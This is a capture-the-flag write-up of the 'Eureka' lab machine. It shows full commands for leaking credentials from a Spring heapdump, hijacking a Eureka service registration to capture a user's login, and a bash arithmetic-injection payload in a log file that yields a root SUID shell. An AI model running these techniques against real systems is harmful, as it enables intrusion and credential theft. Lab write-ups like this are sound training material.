Machine Card showing Eureka as a hard Linux machine

Reconnaissance

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 d6:b2:10:42:32:35:4d:c9:ae:bd:3f:1f:58:65:ce:49 (RSA)
|   256 90:11:9d:67:b6:f6:64:d4:df:7f:ed:4a:90:2e:6d:7b (ECDSA)
|_  256 94:37:d3:42:95:5d:ad:f7:79:73:a6:37:94:45:ad:47 (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://furni.htb/
8761/tcp open  http    Apache Tomcat (language: en)
|_http-title: Site doesn't have a title.
| http-auth:
| HTTP/1.1 401 \x0D
|_  Basic realm=Realm
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The nmap scan found two HTTP ports and a redirect to furni.htb on port 80. I’ll add that to my /etc/hosts file.

Initial Access

Web page for a interior design shop

The web page on furni.htb is a shop for furniture where I can create an account, login and add items to my shopping cart. Completing the purchase also works but there does not to seem anything to exploit at first glance.

Running a directory bruteforce with ffuf reveals a few endpoints including /actuators/heapdump. Actuators are using Spring for production-ready features like getting logs, health status and many different metrics. The heapdump endpoint returns a dump of the (heap) memory1.

$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/quickhits.txt \
       -u http://furni.htb/FUZZ
 
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : GET
 :: URL              : http://furni.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/quickhits.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
 
actuator/heapdump       [Status: 200, Size: 80165337, Words: 0, Lines: 0, Duration: 0ms]
actuator                [Status: 200, Size: 2129, Words: 1, Lines: 1, Duration: 373ms]
error                   [Status: 500, Size: 73, Words: 1, Lines: 1, Duration: 773ms]
login                   [Status: 200, Size: 1550, Words: 195, Lines: 28, Duration: 394ms]
--- SNIP ---

After downloading the heapdump via wget I can load it into VisualVM, a tool to inspect Java heapdumps. Searching for database in the objects view shows several hits within the com.mysql package so there’s likely a MySQL database in use. The DatabaseMetaData object contains the connection string used by the application including the credentials oscar190:0sc@r190_S0l!dP@sswd.

VisualVM showing the MySQL connection details including the credentials

Those credentials are also valid for SSH and I get a shell as oscar190.

Privilege Escalation

Shell as miranda-wise

Unfortunately the current user seems to be low privileged and does not have access to sudo or any interesting groups. Now from the initial nmap scan I also know that port 8761, commonly used for the Netflix Eureka service registry was open but required basic authentication.

Grepping for password recursively in /var/www/web finds Eureka-Server/target/classes/application.yaml. The configuration for Eureka contains the user EurekaSrvr and password 0scarPWDisTheB3st that is used to interact with the service.

/var/www/web/Eureka-Server/target/classes/application.yaml
spring:
  application:
    name: "Eureka Server"
 
  security:
    user:
      name: EurekaSrvr
      password: 0scarPWDisTheB3st
 
server:
  port: 8761
  address: 0.0.0.0
 
eureka:
  client:
    register-with-eureka: false
    fetch-registry: false

Accessing http://furni.htb:8761 in my browser prompts me for credentials and lets me in after supplying the ones I’ve found in the configuration file.

Dashboard for Eureka listing three applications

A online search finds a blog post how the routing of an application can be influenced through usage of the REST API. Therefore I spin up BurpSuite, capture a request with the Authorization header and send a GET request to /eureka/v2/apps. This lists all the applications (also visible on the dashboard) but also their configuration. By default those endpoints return XML but setting the Accept header to application/json changes the output to JSON.

The USER-MANAGEMENT-SERVICE is the most interesting one and I query its configuration by adding /USER-MANAGEMENT-SERVICE to my previous request. That application consists out of one instance and is routed towards localhost on port 8081.

REST API call listing all apps known to Eureka

To intercept the traffic going to this application I copy the JSON data defining the instance and replace the hostName and ipAddr with my own IP. Then I make a POST request to the application endpoint to replace the current instance with my own one.

POST /eureka/v2/apps/USER-MANAGEMENT-SERVICE HTTP/1.1
Host: furni.htb:8761
Accept: application/json
Authorization: Basic RXVyZWthU3J2cjowc2NhclBXRGlzVGhlQjNzdA==
Content-Type: application/json
Content-Length: 1480
 
 
{
    "instance": {
        "instanceId": "localhost:USER-MANAGEMENT-SERVICE:8081",
        "hostName": "10.10.10.10",
        "app": "USER-MANAGEMENT-SERVICE",
        "ipAddr": "10.10.10.10",
        "status": "UP",
        "overriddenStatus": "UNKNOWN",
        "port": {
            "$": 8081,
            "@enabled": "true"
        },
        "securePort": {
            "$": 443,
            "@enabled": "false"
        },
        "countryId": 1,
        "dataCenterInfo": {
            "@class": "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo",
            "name": "MyOwn"
        },
        "leaseInfo": {
            "renewalIntervalInSecs": 30,
            "durationInSecs": 90,
            "registrationTimestamp": 1747813679747,
            "lastRenewalTimestamp": 1747824108225,
            "evictionTimestamp": 0,
            "serviceUpTimestamp": 1747813679748
        },
        "metadata": {
            "management.port": "8081"
        },
        "homePageUrl": "http://localhost:8081/",
        "statusPageUrl": "http://localhost:8081/actuator/info",
        "healthCheckUrl": "http://localhost:8081/actuator/health",
        "vipAddress": "USER-MANAGEMENT-SERVICE",
        "secureVipAddress": "USER-MANAGEMENT-SERVICE",
        "isCoordinatingDiscoveryServer": "false",
        "lastUpdatedTimestamp": "1747813679748",
        "lastDirtyTimestamp": "1747813677361",
        "actionType": "ADDED"
    }
}

A bit of time passes but eventually there’s a connect to my listener on port 8081 with a login attempt from miranda.wise also containing the corresponding password IL!veT0Be&BeT0L0ve (URL-encoded).

$ nc -lnvp 8081
listening on [any] 8081 ...
connect to [10.10.10.10] from (UNKNOWN) [10.129.34.236] 40868
POST /login HTTP/1.1
X-Real-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1,127.0.0.1
X-Forwarded-Proto: http,http
Content-Length: 168
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-US,en;q=0.8
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Cookie: SESSION=MWJlMjQ3Y2EtZTc3ZC00NmVmLWEyNTQtMGIyOTMyZDk1NmY2
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Forwarded: proto=http;host=furni.htb;for="127.0.0.1:35888"
X-Forwarded-Port: 80
X-Forwarded-Host: furni.htb
host: 10.10.10.10:8081
 
username=miranda.wise%40furni.htb&password=IL%21veT0Be%26BeT0L0ve&_csrf=CwCAwUnbSQsa1P749uIEEgsVblUO309_Vn2M8wnxfScg3JJYOTe3833jLWk3sMeeks8wKjlxQ2xtvXxSb0m7xDmXSR5F5KNv

At first the password is not valid for SSH or su, but the /etc/passwd reveals the actual name of the user to be miranda-wise instead. Then I can change the user and collect the first flag.

Shell as root

Within the /opt directory of the system there’s a Bash script called log_analyse.sh that might be used periodically. To confirm that assumption I upload pspy and run it to collect all processes that are spawned. The next execution of cron confirms that user root does in fact call the Bash script.

$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
 
 
     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░
                   ░           ░ ░
                               ░ ░
 
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
--- SNIP ---
2025/05/21 10:58:01 CMD: UID=0     PID=512173 | /usr/sbin/CRON -f
2025/05/21 10:58:01 CMD: UID=0     PID=512175 | /bin/sh -c /opt/scripts/log_cleanup.sh
2025/05/21 10:58:01 CMD: UID=0     PID=512176 | /bin/sh -c /opt/scripts/log_cleanup.sh
2025/05/21 10:58:01 CMD: UID=0     PID=512179 | sleep 10
2025/05/21 10:58:01 CMD: UID=0     PID=512178 | /bin/sh /opt/scripts/log_cleanup.sh
2025/05/21 10:58:01 CMD: UID=0     PID=512177 | /bin/sh /opt/scripts/log_cleanup.sh
2025/05/21 10:58:01 CMD: UID=0     PID=512180 | /bin/bash /opt/log_analyse.sh /var/www/web/user-management-service/log/application.log
2025/05/21 10:58:01 CMD: UID=0     PID=512182 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log
2025/05/21 10:58:01 CMD: UID=0     PID=512181 | /usr/sbin/CRON -f
2025/05/21 10:58:01 CMD: UID=0     PID=512183 | /bin/bash /opt/log_analyse.sh /var/www/web/user-management-service/log/application.log
2025/05/21 10:58:01 CMD: UID=0     PID=512184 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log
2025/05/21 10:58:01 CMD: UID=0     PID=512185 | /bin/sh -c /opt/scripts/miranda-Login-Simulator.sh
2025/05/21 10:58:01 CMD: UID=0     PID=512186 | /bin/bash /opt/log_analyse.sh /var/www/web/user-management-service/log/application.log
2025/05/21 10:58:01 CMD: UID=0     PID=512187 |
2025/05/21 10:58:01 CMD: UID=0     PID=512190 |
2025/05/21 10:58:01 CMD: UID=0     PID=512189 | /bin/bash /opt/log_analyse.sh /var/www/web/user-management-service/log/application.log
2025/05/21 10:58:01 CMD: UID=0     PID=512188 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log
--- SNIP ---

Having a closer look at the source code shows different checks on the log file provided as input. The function analyze_http_statuses parses the supplied file line by line and extracts the status with a regex and stores the result in a variable called code. Later this variable is compared with another one in an if statement. This kind of construct is prone to injection because under certain conditions the contents of a variable are evaluated2.

/opt/log_analyse.sh
#!/bin/bash
 
# Colors
GREEN='\033[0;32m'
RED='\033[0;31m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
RESET='\033[0m'
 
LOG_FILE="$1"
OUTPUT_FILE="log_analysis.txt"
 
declare -A successful_users  # Associative array: username -> count
declare -A failed_users      # Associative array: username -> count
STATUS_CODES=("200:0" "201:0" "302:0" "400:0" "401:0" "403:0" "404:0" "500:0") # Indexed array: "code:count" pairs
 
if [ ! -f "$LOG_FILE" ]; then
    echo -e "${RED}Error: Log file $LOG_FILE not found.${RESET}"
    exit 1
fi
 
 
analyze_logins() {
    # Process successful logins
    while IFS= read -r line; do
        username=$(echo "$line" | awk -F"'" '{print $2}')
        if [ -n "${successful_users[$username]+_}" ]; then
            successful_users[$username]=$((successful_users[$username] + 1))
        else
            successful_users[$username]=1
        fi
    done < <(grep "LoginSuccessLogger" "$LOG_FILE")
 
    # Process failed logins
    while IFS= read -r line; do
        username=$(echo "$line" | awk -F"'" '{print $2}')
        if [ -n "${failed_users[$username]+_}" ]; then
            failed_users[$username]=$((failed_users[$username] + 1))
        else
            failed_users[$username]=1
        fi
    done < <(grep "LoginFailureLogger" "$LOG_FILE")
}
 
 
analyze_http_statuses() {
    # Process HTTP status codes
    while IFS= read -r line; do
        code=$(echo "$line" | grep -oP 'Status: \K.*')
        found=0
        # Check if code exists in STATUS_CODES array
        for i in "${!STATUS_CODES[@]}"; do
            existing_entry="${STATUS_CODES[$i]}"
            existing_code=$(echo "$existing_entry" | cut -d':' -f1)
            existing_count=$(echo "$existing_entry" | cut -d':' -f2)
            if [[ "$existing_code" -eq "$code" ]]; then
                new_count=$((existing_count + 1))
                STATUS_CODES[$i]="${existing_code}:${new_count}"
                break
            fi
        done
    done < <(grep "HTTP.*Status: " "$LOG_FILE")
}
 
 
analyze_log_errors(){
     # Log Level Counts (colored)
    echo -e "\n${YELLOW}[+] Log Level Counts:${RESET}"
    log_levels=$(grep -oP '(?<=Z  )\w+' "$LOG_FILE" | sort | uniq -c)
    echo "$log_levels" | awk -v blue="$BLUE" -v yellow="$YELLOW" -v red="$RED" -v reset="$RESET" '{
        if ($2 == "INFO") color=blue;
        else if ($2 == "WARN") color=yellow;
        else if ($2 == "ERROR") color=red;
        else color=reset;
        printf "%s%6s %s%s\n", color, $1, $2, reset
    }'
 
    # ERROR Messages
    error_messages=$(grep ' ERROR ' "$LOG_FILE" | awk -F' ERROR ' '{print $2}')
    echo -e "\n${RED}[+] ERROR Messages:${RESET}"
    echo "$error_messages" | awk -v red="$RED" -v reset="$RESET" '{print red $0 reset}'
 
    # Eureka Errors
    eureka_errors=$(grep 'Connect to http://localhost:8761.*failed: Connection refused' "$LOG_FILE")
    eureka_count=$(echo "$eureka_errors" | wc -l)
    echo -e "\n${YELLOW}[+] Eureka Connection Failures:${RESET}"
    echo -e "${YELLOW}Count: $eureka_count${RESET}"
    echo "$eureka_errors" | tail -n 2 | awk -v yellow="$YELLOW" -v reset="$RESET" '{print yellow $0 reset}'
}
 
 
display_results() {
    echo -e "${BLUE}----- Log Analysis Report -----${RESET}"
 
    # Successful logins
    echo -e "\n${GREEN}[+] Successful Login Counts:${RESET}"
    total_success=0
    for user in "${!successful_users[@]}"; do
        count=${successful_users[$user]}
        printf "${GREEN}%6s %s${RESET}\n" "$count" "$user"
        total_success=$((total_success + count))
    done
    echo -e "${GREEN}\nTotal Successful Logins: $total_success${RESET}"
 
    # Failed logins
    echo -e "\n${RED}[+] Failed Login Attempts:${RESET}"
    total_failed=0
    for user in "${!failed_users[@]}"; do
        count=${failed_users[$user]}
        printf "${RED}%6s %s${RESET}\n" "$count" "$user"
        total_failed=$((total_failed + count))
    done
    echo -e "${RED}\nTotal Failed Login Attempts: $total_failed${RESET}"
 
    # HTTP status codes
    echo -e "\n${CYAN}[+] HTTP Status Code Distribution:${RESET}"
    total_requests=0
    # Sort codes numerically
    IFS=$'\n' sorted=($(sort -n -t':' -k1 <<<"${STATUS_CODES[*]}"))
    unset IFS
    for entry in "${sorted[@]}"; do
        code=$(echo "$entry" | cut -d':' -f1)
        count=$(echo "$entry" | cut -d':' -f2)
        total_requests=$((total_requests + count))
 
        # Color coding
        if [[ $code =~ ^2 ]]; then color="$GREEN"
        elif [[ $code =~ ^3 ]]; then color="$YELLOW"
        elif [[ $code =~ ^4 || $code =~ ^5 ]]; then color="$RED"
        else color="$CYAN"
        fi
 
        printf "${color}%6s %s${RESET}\n" "$count" "$code"
    done
    echo -e "${CYAN}\nTotal HTTP Requests Tracked: $total_requests${RESET}"
}
 
 
# Main execution
analyze_logins
analyze_http_statuses
display_results | tee "$OUTPUT_FILE"
analyze_log_errors | tee -a "$OUTPUT_FILE"
echo -e "\n${GREEN}Analysis completed. Results saved to $OUTPUT_FILE${RESET}"

Now since some of the logs are created while interacting with the web application I could inject my code through that interaction, but miranda-wise is part of the developers group and has write privileges on the directory hosting the log file. Even though I cannot modify the file directly, I can delete it and recreate it.

Adding the line HTTP Status: x[$(<COMMAND>)] to the log file satisfies the regex used by the script and passes anything after Status: into the variable code. As soon as that is used in the if statement the command in the sub shell is executed. I use that to copy the Bash binary to /tmp and add the SUID bit.

$ cd /var/www/web/cloud-gateway/log/
 
$ ls -la .
total 32
drwxrwxr-x 2 www-data developers  4096 May 21 12:10 .
drwxrwxr-x 6 www-data developers  4096 Mar 18 21:17 ..
-rw-rw-r-- 1 www-data www-data   21254 May 21 12:10 application.log
 
$ rm application.log 
rm: remove write-protected regular file 'application.log'? yes
 
$ echo 'HTTP Status: x[$(cp /bin/bash /tmp/bash && chmod u+s /tmp/bash)]' > application.log
 
$ ls -la /tmp/bash
-rwsr-xr-x 1 root root 1183448 May 21 12:12 /tmp/bash

The next run handles the modified log file and I can escalate to root to collect the final flag.

Attack Path

flowchart TD

subgraph "Initial Access"
	A(Spring Web Page) -->|Heapdump Actuator| B(Heap Dump of the application)
	B -->|Analyze Heap Dump| C(Credentials for MySQL database)
	C -->|Password Reuse| D(Shell as oscar190)
end

subgraph "Privilege Escalation"
	D -->|Credentials in Configuration| E(Access to Eureka Service Discovery)
	E -->|Modify backend instance| F(Capture login request)
	F --> G(Shell as miranda-wise)
	G -->|Bash Injection in Script| H(Shell as root) 
end

Footnotes

  1. Endpoints

  2. Bash’s white collar eval.